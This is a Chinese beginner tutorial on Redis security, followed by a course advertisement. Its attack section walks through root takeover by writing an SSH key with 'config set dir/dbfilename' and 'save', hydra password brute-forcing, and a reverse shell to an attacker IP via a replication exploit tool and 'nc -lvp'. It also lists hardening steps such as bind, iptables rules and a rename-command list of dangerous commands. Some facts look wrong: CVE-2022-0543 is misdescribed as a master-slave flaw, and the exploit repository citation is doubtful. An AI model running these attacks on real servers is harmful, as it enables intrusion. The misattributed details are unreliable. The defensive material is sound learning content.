零基础学 Redis 安全:缓存服务器漏洞与防御

零基础学 Redis 安全:缓存服务器漏洞与防御

在这里插入图片描述

一、引言

Redis(远程字典服务器)是全球最流行的开源缓存数据库之一,广泛用于电商、社交、游戏等场景 —— 比如电商平台用 Redis 缓存商品库存,社交 APP 用 Redis 存储用户会话。但多数开发者和运维人员只关注其 “高性能”,忽视安全配置,导致 Redis 成为攻击者入侵服务器的 “突破口”:2023 年某云厂商数据显示,70% 的 Redis 安全事件源于 “未授权访问 + 弱口令”,攻击者通过 Redis 写入 SSH 公钥,轻松获取服务器 root 权限。

对零基础学习者而言,掌握 Redis 安全的核心是 “理解漏洞原理 + 会配置防御措施”—— 无需深入 Redis 源码,只需搞懂 “常见漏洞怎么利用、怎么防御”,就能应对 80% 的 Redis 安全场景。本文从 Redis 基础认知、常见漏洞复现、实战防御配置三方面,带你入门 Redis 安全。

二、Redis 基础认知(必懂 3 个核心点)
1. Redis 核心特点与安全风险关联
特点描述安全风险点
基于内存存储读写速度快(10 万次 / 秒),无磁盘 IO 瓶颈内存数据易被窃取(如通过命令读取敏感缓存)
默认无认证安装后默认无密码,直接可连接未授权访问(攻击者直接执行命令)
支持持久化可将内存数据保存到磁盘(RDB/AOF 文件)恶意写入文件(如写入 SSH 公钥、定时任务)
支持主从复制主节点数据同步到从节点,实现高可用从节点注入恶意命令(如 CVE-2022-0543)
默认端口 6379(公开)端口无隐藏,易被端口扫描发现攻击者通过端口扫描定位 Redis 服务
2. Redis 常用命令(安全相关)
命令功能安全风险
config set修改 Redis 配置(如工作目录、持久化文件名)篡改持久化路径,写入恶意文件(如 SSH 公钥)
set设置键值对(如set name “redis”)写入恶意内容(如 webshell、SSH 公钥)
get获取键值(如get name)读取敏感缓存数据(如用户密码、订单信息)
slaveof设置主从复制(如slaveof 192.168.1.100 6379)从节点可控时注入恶意命令
flushall删除所有键值对数据丢失(攻击者执行后清空缓存)
auth验证密码(如auth 123456)无密码时可跳过,直接执行命令
3. Redis 运行环境准备(用于后续漏洞复现)
  • 环境要求:2 台虚拟机(1 台作为目标 Redis 服务器,1 台作为攻击机),系统均为 CentOS 7;

  • 目标服务器部署 Redis(零基础可按步骤操作):

  1. 安装 Redis:sudo yum install redis -y;

  2. 修改配置文件(/etc/redis.conf),关闭保护模式(便于复现漏洞,实际环境需开启):

将protected-mode yes改为protected-mode no;

将bind 127.0.0.1注释掉(允许外部 IP 连接);

  1. 启动 Redis 服务:sudo systemctl start redis;

  2. 验证服务:redis-cli -h 127.0.0.1 ping,返回PONG说明启动成功;

  • 攻击机准备:安装 Redis 客户端(sudo yum install redis -y),确保能 ping 通目标服务器。
三、Redis 常见安全漏洞(原理 + 复现)
漏洞 1:未授权访问(最高频,占 Redis 安全事件的 60%)
1. 漏洞原理

Redis 默认无密码、无 IP 绑定,若管理员未配置requirepass(密码)和bind(IP 白名单),攻击者可直接用redis-cli连接 Redis 服务器,执行任意命令(如读取数据、写入恶意文件)。

2. 漏洞复现(获取服务器 root 权限)
  • 步骤 1:攻击机连接目标 Redis

redis-cli -h 192.168.1.100192.168.1.100 为目标服务器 IP),直接进入 Redis 命令行,无需密码;

  • 步骤 2:执行命令验证权限
192.168.1.100:6379> set test "unauthorized access"  # 设置键值对,成功
OK
192.168.1.100:6379> config get dir  # 查看Redis工作目录,成功(默认/var/lib/redis)
1) "dir"
2) "/var/lib/redis"
192.168.1.100:6379> flushall  # 清空所有数据(测试用,实际攻击会导致业务故障)
OK


  • 步骤 3:写入 SSH 公钥,获取服务器 root 权限(最经典的利用方式):
  1. 攻击机生成 SSH 密钥:

ssh-keygen -t rsa(一路回车,不设置密码,生成/.ssh/id_rsa私钥和/.ssh/id_rsa.pub公钥);

  1. 将公钥写入 Redis(用\n分隔,避免格式错误):
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > redis_key.txt
cat redis_key.txt | redis-cli -h 192.168.1.100 -x set ssh_key  # 将公钥写入Redis的ssh_key键


  1. 篡改 Redis 持久化配置,将公钥写入服务器 SSH 授权文件:
192.168.1.100:6379> config set dir /root/.ssh/  # 将Redis工作目录改为root用户的SSH目录
OK
192.168.1.100:6379> config set dbfilename "authorized_keys"  # 将持久化文件名改为SSH授权文件
OK
192.168.1.100:6379> save  # 保存数据到磁盘,覆盖authorized_keys文件
OK


  1. 攻击机通过 SSH 登录目标服务器(无需密码):

ssh root@192.168.1.100,直接进入 root 命令行,获取服务器完全控制权。

漏洞 2:弱口令与暴力破解(占 Redis 安全事件的 25%)
1. 漏洞原理

部分管理员为图方便,给 Redis 设置简单密码(如 123456、redis123、admin),攻击者用暴力破解工具(如 hydra)遍历常见弱口令,破解后即可连接 Redis 执行命令。

2. 漏洞复现
  • 步骤 1:目标服务器配置 Redis 密码(模拟弱口令场景):

修改/etc/redis.conf,添加requirepass 123456,重启 Redis:sudo systemctl restart redis;

  • 步骤 2:攻击机准备弱口令字典

创建password.txt,包含常见弱口令:

123456
redis123
admin
root
redis


  • 步骤 3:用 hydra 暴力破解 Redis 密码

hydra -P password.txt 192.168.1.100 redis(-P指定密码字典,redis指定服务类型);

  • 步骤 4:破解成功后连接 Redis

redis-cli -h 192.168.1.100 -a 123456(-a指定密码),成功进入命令行,后续可执行config set、set等命令。

漏洞 3:主从复制漏洞(CVE-2022-0543,影响 Redis 2.8.0-6.2.5)
1. 漏洞原理

Redis 支持 “主从复制”(主节点数据同步到从节点),若从节点可控,攻击者可构造恶意 RDB 文件(包含system()等危险命令),让主节点加载 RDB 文件时执行恶意命令,获取服务器权限。

2. 漏洞复现(利用开源工具)
  • 步骤 1:攻击机下载漏洞利用工具

git clone https://github.com/RedisLabs/redis-master-slave-exploit.git;

  • 步骤 2:生成恶意 RDB 文件(包含反弹 shell 命令)
cd redis-master-slave-exploit
python3 redis-master-slave-exploit.py --rhost 192.168.1.100 --rport 6379 --lhost 192.168.1.101 --lport 4444


(–rhost为目标 Redis IP,–lhost为攻击机 IP,–lport为攻击机监听端口);

  • 步骤 3:攻击机开启监听(接收反弹 shell)

nc -lvp 4444;

  • 步骤 4:触发漏洞,获取 shell

工具会自动让目标 Redis 成为攻击机的从节点,加载恶意 RDB 文件,攻击机nc监听窗口会收到反弹 shell,执行whoami显示root,说明获取权限成功。

四、Redis 安全防御方法(实战配置,零基础可操作)
1. 基础防御:关闭公网暴露,限制访问范围(阻断 80% 的攻击)
(1)绑定内网 IP,禁止公网访问
  • 修改/etc/redis.conf:

bind 127.0.0.1 192.168.1.0/24(仅允许本地回环地址和 192.168.1 网段访问,根据实际内网段调整);

protected-mode yes(开启保护模式,禁止公网 IP 连接);

  • 重启 Redis:sudo systemctl restart redis;

  • 验证:攻击机用redis-cli -h 192.168.1.100连接,提示 “Could not connect”,说明配置生效。

(2)防火墙限制端口访问
  • Linux iptables 配置(仅允许内网 IP 访问 6379 端口):
# 允许192.168.1网段访问6379端口
sudo iptables -A INPUT -p tcp --dport 6379 -s 192.168.1.0/24 -j ACCEPT
# 拒绝其他所有IP访问6379端口
sudo iptables -A INPUT -p tcp --dport 6379 -j DROP
# 保存规则(CentOS 7)
sudo service iptables save


  • 验证:攻击机用nmap -p 6379 192.168.1.100扫描,显示 “6379/tcp filtered redis”,说明端口被过滤。
2. 核心防御:设置强密码,禁用危险命令(防止权限滥用)
(1)配置认证密码(强密码标准:字母 + 数字 + 特殊符号,长度≥8)
  • 修改/etc/redis.conf:

requirepass Redis@2024!(密码可自定义,避免弱口令);

  • 重启 Redis:sudo systemctl restart redis;

  • 验证:攻击机用redis-cli -h 192.168.1.100连接后,执行set test 123,提示 “NOAUTH Authentication required”,需输入auth Redis@2024!验证后才能执行命令。

(2)禁用 / 重命名危险命令(防止攻击者执行config set、flushall)
  • 修改/etc/redis.conf,根据需求选择 “禁用” 或 “重命名”:
# 方法1:禁用危险命令(推荐,适合不需要这些命令的场景)
rename-command CONFIG ""  # 禁用config命令(无法修改配置)
rename-command FLUSHALL ""  # 禁用flushall命令(无法清空数据)
rename-command FLUSHDB ""  # 禁用flushdb命令
rename-command SLAVEOF ""  # 禁用slaveof命令(防止主从复制漏洞)
rename-command DEL ""  # 禁用del命令(无法删除数据)

# 方法2:重命名命令(适合需要使用这些命令的场景,自定义复杂名称)
rename-command CONFIG "redis_config_789"  # 后续执行需用redis_config_789替代config


  • 重启 Redis:sudo systemctl restart redis;

  • 验证:连接 Redis 后执行config get dir,提示 “ERR unknown command ‘config’”,说明命令已禁用。

3. 进阶防御:降权运行,加固持久化(降低攻击影响)
(1)用低权限用户运行 Redis(避免 root 权限被获取)
  • 创建低权限用户redisuser:

sudo useradd -m -s /bin/nologin redisuser(-s /bin/nologin禁止登录 shell,更安全);

  • 修改 Redis 工作目录权限:

sudo chown -R redisuser:redisuser /var/lib/redis;

  • 修改 Redis 服务配置(/usr/lib/systemd/system/redis.service):

将User=root改为User=redisuser,Group=root改为Group=redisuser;

  • 重启服务:

sudo systemctl daemon-reload;

sudo systemctl restart redis;

  • 验证:ps aux | grep redis,显示redisuser 1234 0.0 0.1 14888 2048 ? Ssl 10:00 0:00 /usr/bin/redis-server *:6379,说明运行用户已改为redisuser。
(2)加固持久化文件(防止被篡改)
  • 限制 RDB/AOF 文件权限(仅所有者可读写):

sudo chmod 600 /var/lib/redis/dump.rdb;

sudo chmod 600 /var/lib/redis/appendonly.aof(若启用 AOF 持久化);

  • 定期备份持久化文件:

创建备份脚本backup_redis.sh

#!/bin/bash
BACKUP_DIR="/var/backup/redis"
DATE=$(date +%Y%m%d_%H%M%S)
mkdir -p $BACKUP_DIR
cp /var/lib/redis/dump.rdb $BACKUP_DIR/dump_$DATE.rdb
# 保留最近30天的备份
find $BACKUP_DIR -name "dump_*.rdb" -mtime +30 -delete


  • 设置定时任务(每天凌晨 3 点备份):

sudo crontab -e,添加0 3 * * * /bin/bash /path/to/backup_redis.sh

4. 监控防御:日志审计,实时告警(及时发现攻击)
(1)开启 Redis 日志,记录所有操作
  • 修改/etc/redis.conf:

logfile “/var/log/redis/redis-server.log”(日志路径);

loglevel notice(日志级别:notice 记录关键操作,debug 记录详细操作);

  • 重启 Redis:sudo systemctl restart redis;

  • 查看日志:tail -f /var/log/redis/redis-server.log,可看到连接、命令执行记录(如192.168.1.101:54321 [0] “auth” “Redis@2024!”)。

(2)监控异常连接,触发告警
#!/bin/bash
REDIS_IP="192.168.1.100"
REDIS_PASS="Redis@2024!"
ALLOWED_IPS=("127.0.0.1" "192.168.1.101")  # 允许的IP列表
# 获取当前连接的IP
CURRENT_IPS=$(redis-cli -h $REDIS_IP -a $REDIS_PASS info clients | grep "addr=" | awk -F: '{print $1}' | awk -F= '{print $2}')

for ip in $CURRENT_IPS; do
    if [[ ! " ${ALLOWED_IPS[@]} " =~ " ${ip} " ]]; then
        # 发送告警邮件(需配置mail命令)
        echo "发现陌生IP $ip 连接Redis服务器,请及时检查!" | mail -s "Redis安全告警" admin@example.com
        echo "[$(date +%Y-%m-%d %H:%M:%S)] 陌生IP $ip 连接Redis" >> /var/log/redis/redis_alert.log
    fi
done


  • 设置定时任务(每 5 分钟执行一次监控):

sudo crontab -e,添加*/5 * * * * /bin/bash /path/to/monitor_redis.sh

五、零基础学习资源推荐
  1. 官方文档:Redis 官方安全指南(https://redis.io/docs/manual/security/)—— 最权威的安全配置参考;

  2. 工具下载

  • Redis 客户端:redis-tools(Linux)、Redis Desktop Manager(Windows 图形化工具);

  • 暴力破解:hydra(https://github.com/vanhauser-thc/thc-hydra);

  • 漏洞利用:redis-master-slave-exploit(https://github.com/RedisLabs/redis-master-slave-exploit);

  1. 靶场练习:VulnHub 的 “Redis-Lab”(https://www.vulnhub.com/entry/redis-lab-1,757/)—— 专门用于 Redis 漏洞练习的靶机;

  2. 视频教程:B 站 “Redis 安全漏洞复现与防御”(搜索关键词,找播放量 1 万 + 的教程,优先看带实操步骤的)。

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

在这里插入图片描述

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

img

2、Linux操作系统

img

3、WEB架构基础与HTTP协议

img

4、Web渗透测试

img

5、渗透测试案例分享

img

6、渗透测试实战技巧

图片

7、攻防对战实战

图片

8、CTF之MISC实战讲解

图片

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传优快云,朋友们如果需要可以在下方优快云官方认证二维码免费领取【保证100%免费】

在这里插入图片描述

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值